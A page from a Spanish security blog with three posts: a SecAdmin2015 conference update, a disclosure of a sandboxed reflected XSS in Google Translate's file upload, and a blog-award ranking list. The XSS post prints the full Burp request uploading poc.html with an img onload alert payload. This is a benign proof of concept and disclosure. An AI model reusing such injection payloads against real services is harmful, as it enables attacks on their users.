30 noviembre, 2015

Novedades SecAdmin2015



Hola a tod@s

Atención, como saben faltan 11 días para el evento y lo tenemos casi todo listo.

Los talleres tienen una capacidad de 30 personas por Taller, por lo que vamos a publicar un formulario para que se puedan inscribir. 

Daremos prioridad por orden de inscripción a nivel de segundos. Así que estar atentos.

El día de apertura en donde publicaremos el enlace por email, facebook, twitter y en nuestra Web. Será el día Martes 8 a las 00:01 minuto.

El día que publicaremos el CTF, será el dia Jueves 10 a las 00:01.

El otro día estuvieron nuestros compañeros Adrián y Jorge en NEO FM, si te has perdido el programa, nos puedes escuchar aquí: http://www.ivoox.com/9525073 estuvieron hablando con algunos de los ponentes y los que darán talleres, así que si quieres saber de qué van algunos talleres, te recomiendo que lo escuches.

Por otro lado, como saben el evento se realizará en la Facultad de Informática y tanto la merienda del viernes, el desayuno y la merienda del día sábado, se incluye con la entrada, y se realizará en la cafetería de la facultad de la Escuela de Informática.

Para los que quieran quedarse a almorzar el sábado día 12. Podrán hacerlo a un precio especial para el evento. A precio de universitario por menos de 6 euros el menú. Más adelante les contaremos en qué consiste el menú y qué incluye.

La agenda está casi cerrada, la pueden ir consultando en www.secadmin.es

Cualquier duda puede enviar un email a info@secadmin.es

El día viernes 11 de diciembre, estaremos vendiendo entradas de última hora a partir de las 15:00 horas.

Recuerda, que para poder asistir a los talleres, debes de tener tu entrada previamente. No permitiremos la entrada a ninguna persona que no esté debidamente acreditada.

Puedes conseguir tu entrada aquí.

No seáis malos.

25 noviembre, 2015

El NO Cross-Site Scripting de Google



Hola a tod@s



El pasado día utilizando el traductor de Google me fije en una funcionalidad adicional que tiene el traductor, y es que nos permite la subida de ficheros para su traducción.


Inmediatamente me puse a analizar el servicio, cuál fue mi sorpresa cuando descubrí un XSS, Google no lo consideraba un riesgo, pues no tiene impacto porque se encuentra dentro de un sandbox, sea como fuere lo he querido traer aquí por su contenido didáctico y enseñar para el que no lo conozca.


En  primer lugar visitamos la dirección https://translate.google.es/?hl=es y hacer click en traducir un documento.


Imagen 1: https://translate.google.es/?hl=es




Subimos nuestra prueba de concepto y subimos.


 
Imagen 2:  Upload del fichero




Imagen 3: Traducir el documento



Por último podemos visualizar el XSS reflejado.

Imagen 4: XSS en el traductor de Google




A continuación la petición de Burp:

POST /translate_f HTTP/1.1
Host: translate.googleusercontent.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://translate.google.es/?hl=es
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------147452561017500
Content-Length: 1095

-----------------------------147452561017500
Content-Disposition: form-data; name="sl"

en
-----------------------------147452561017500
Content-Disposition: form-data; name="tl"

es
-----------------------------147452561017500
Content-Disposition: form-data; name="js"

y
-----------------------------147452561017500
Content-Disposition: form-data; name="prev"

_t
-----------------------------147452561017500
Content-Disposition: form-data; name="hl"

es
-----------------------------147452561017500
Content-Disposition: form-data; name="ie"

UTF-8
-----------------------------147452561017500
Content-Disposition: form-data; name="text"


-----------------------------147452561017500
Content-Disposition: form-data; name="file"; filename="poc.html"
Content-Type: text/html

<img src="http://www.imagenesderisa.com.mx/wp-content/uploads/2015/10/imagenes-de-risa-2.jpg" onload="alert('XSS en Google AUDIT')"</img>
-----------------------------147452561017500
Content-Disposition: form-data; name="edit-text"


-----------------------------147452561017500--

 


Tras notificarlo a Google me informaron que no se considera un riesgo, pues está dentro de la sandbox, por lo que no afecta al bugbounty.

23 noviembre, 2015

Premios Bitacoras 2015



Hola a tod@s


Un año más se ha celebrado los premios bitácoras en los que se votan los mejores blogs de habla hispana en categorías como blogs de salud e innovación, economía, arte y cultura, gastronomía, viajes o nuestra categoría seguridad informática.



Este año hemos quedado en el puesto 13º de 95º un puesto nada despreciable teniendo en cuenta que el periodo de votación del 22 de septiembre al 19 de noviembre en el que se da a conocer los 3 finalistas y nosotros nos presentamos muy tarde en la clasificación parcial V, a principios de noviembre.   :-)  Por ello estamos gratamente sorprendidos.


A continuación os mostramos la clasificación:

Finalistas:

1. up El Lado Del Mal [ perfil ]
2. up Oficina De Seguridad Del Internauta [ perfil ]
3. down Globb Security [ perfil ]

Resto de clasificados:

4. equal Pabloyglesias [ perfil ]
5. equal Hackplayers [ perfil ]
6. up El Blog De Angelucho [ perfil ]
7. down Underc0De Blog [ perfil ]
8. down Security By Default [ perfil ]
9. equal Security Art Work [ perfil ]
10. equal Gurú De La Informática [ perfil ]
11. equal Las Luces Del Sotano [ perfil ]
12. equal Rootbyte [ perfil ]
13. up Estación Informática [ perfil ]
14. down Blog.isecauditors.com [ perfil ]
15. up Hispasec @unaaldia [ perfil ]
16. down Comunidad Dragonjar [ perfil ]
17. up Marina Brocca [ perfil ]
18. down Seguridad Informatica "a Lo Jabali ..." [ perfil ]
19. down Hormigas En La Nube [ perfil ]
20. down Inseguros [ perfil ]
21. equal Flu Project [ perfil ]
22. down Pci Hispano [ perfil ]
23. up Blog - S3Lab [ perfil ]
24. down 3J Kernel [ perfil ]
25. down Blogoff [ perfil ]
26. up Maestros Del Web [ perfil ]
27. down Spamloco [ perfil ]
28. down Hacking Publico [ perfil ]
29. down Infospyware [ perfil ]
30. up Rootear [ perfil ]
31. down David Acosta [ perfil ]
32. down Daboblog [ perfil ]
33. down Hacking Ético [ perfil ]
34. down Incibe [ perfil ]
35. down Areópago 21 [ perfil ]
36. down Segu-Info [ perfil ]
37. down Hack X Crack [ perfil ]
38. equal Tortilla De Seguridad [ perfil ]
39. equal Un Tal 4N0Nym0Us En El Pc [ perfil ]
40. up Blog Kpmg Ciberseguridad [ perfil ]
41. up Snifer@l4B's [ perfil ]
42. down Elevenpaths Blog [ perfil ]
43. up Blog Laboratorio Hispasec [ perfil ]
44. down Codigobinario [ perfil ]
45. up Información Legal De Internet [ perfil ]
46. equal Tecnovirus.com [ perfil ]
47. down Hackpuntes [ perfil ]
48. equal Nogueratech.com [ perfil ]
49. equal S21Sec Blog. Seguridad Digital. [ perfil ]
50. up Informático De Guardia [ perfil ]
51. up Cigtr [ perfil ]
52. up Kriptópolis [ perfil ]
53. up Cyberhades [ perfil ]
54. up Hardwareysoftware.net [ perfil ]
55. down Exefull [ perfil ]
56. up Ricardo Vega [ perfil ]
57. equal El Blog Del Perito Informático Forense [ perfil ]
58. down Cl0Udswxsequre [ perfil ]
59. down Genbeta [ perfil ]
60. down Seguridad De La Información Bugbu5T3R5 [ perfil ]
61. up Thehackerway (Thw) [ perfil ]
62. down Solucionavirus.com [ perfil ]
63. up Blog Elhacker.net [ perfil ]
64. down Ayuda Wordpress [ perfil ]
65. up Seguridad Apple [ perfil ]
66. down Toques De Seguridad [ perfil ]
67. down Ciudadano 2.0 [ perfil ]
68. down Contraespionaje [ perfil ]
69. equal El Abogado Digital [ perfil ]
70. equal Dragonjar.com [ perfil ]
71. down Mundo Hacker [ perfil ]
72. equal Silleros Viajeros [ perfil ]
73. equal Bitácora De Redes [ perfil ]
74. equal Itaseg | Itati Seguridad Informática [ perfil ]
75. equal Computestonline.blogspot.com [ perfil ]
76. down Exceltotal.com [ perfil ]
77. down 365 Días De Valentía Moral [ perfil ]
78. down Foro De Infospyware, Virus, Malwares [ perfil ]
79. equal Linuxparty [ perfil ]
80. equal Spn 3.14 Versión 1.1.2.3.5.8 [ perfil ]
81. equal [A]Ntrax - [L]Abs [ perfil ]
82. equal Nexustutoriales [ perfil ]
83. equal Lachisterablanca.com [ perfil ]
84. equal Microsiervos [ perfil ]
85. equal Segu-Info.com.ar [ perfil ]
86. equal Gnumax [ perfil ]
87. equal In Seguros [ perfil ]
88. down Conexión Inversa [ perfil ]
89. equal Vintegris [ perfil ]
90. down Integra [ perfil ]
91. equal Ochobitshacenunbyte [ perfil ]
92. equal La Mirada Del Replicante [ perfil ]
93. down Hojas De Cálculo Y Más [ perfil ]
94. equal Exevi [ perfil ]
95. equal Mamá Es Una Friki [ perfil ]



Muchas Gracias a todos los nos habéis votado, a todos los que hacéis posible este proyecto nuestros lectores y gracias a todos los que formáis Estación Informática autores y colaboradores.

No seáis malos.